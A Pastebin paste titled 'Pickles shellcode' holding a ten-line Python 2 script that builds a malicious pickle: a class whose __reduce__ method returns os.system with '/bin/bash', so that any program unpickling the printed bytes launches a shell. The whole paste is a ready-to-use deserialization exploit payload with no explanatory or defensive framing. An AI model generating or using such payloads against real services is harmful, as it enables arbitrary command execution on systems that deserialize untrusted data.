indonesian

Pickles shellcode

Dec 26th, 2016
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.22 KB | None | 0 0
  1. import os
  2. import cPickle
  3.  
  4. # Exploit that we want the target to unpickle
  5. class Exploit(object):
  6.     def __reduce__(self):
  7.         return (os.system, ('/bin/bash',))
  8.  
  9. shellcode = cPickle.dumps(Exploit())
  10. print shellcode
Advertisement
Add Comment
Please, Sign In to add comment